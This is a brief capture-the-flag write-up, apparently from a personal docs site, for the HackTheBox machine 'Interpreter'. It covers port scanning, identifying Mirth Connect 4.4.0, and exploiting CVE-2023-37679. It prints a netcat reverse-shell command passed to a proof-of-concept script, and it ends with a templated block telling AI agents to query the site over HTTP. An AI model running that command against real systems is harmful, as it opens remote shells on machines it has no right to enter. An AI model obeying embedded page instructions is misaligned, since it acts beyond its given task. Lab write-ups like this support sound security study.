# Interpreter HackTheBox
### Scanning
```bash
nmap -p- --min-rate 10000 10.129.7.72
```
Service Enumeration
```
nmap -p22,80,443,6661 -sCV 10.129.7.72
```
### Website Enumeration
* Navigating to the port 80 there is webpage and redirect us to login page and it's login page frm
* Mirth Connect by NextGen Healthcare and bottom of the page © 2021 NextGen Healthcare | Mirth Connect
What is mirth connect
Mirth Connect is an [open source](https://github.com/nextgenhealthcare/connect) data integration platform widely used by healthcare companies. This post dives into the technical details behind this vulnerability, which is ultimately related to insecure usage of the Java [XStream](https://x-stream.github.io/) library for unmarshalling XML payloads. If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the [4.4.1 patch release](https://github.com/nextgenhealthcare/connect/releases/tag/4.4.1) or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organization
Source :
Clicking on the launch Mirth connect administrator it downloads a file called `webstart.jnlp`
```
https://10.129.7.72:443
4.4.0
```
Mirth Connect Administrator4.4.0
```bash
$ curl -s -k -H 'X-Requested-With: l1nuxkid' https://10.129.7.72/api/server/version
4.4.0
```
Come across this articles :
### CVE-2023-37679
POC :
```bash
python3 poc.py -u https://10.129.7.72 -c 'busybox nc 10.10.14.168 9090 -e bash'
```
```bash
penelop -p 9090
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/hackthebox/interpreter-hackthebox.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.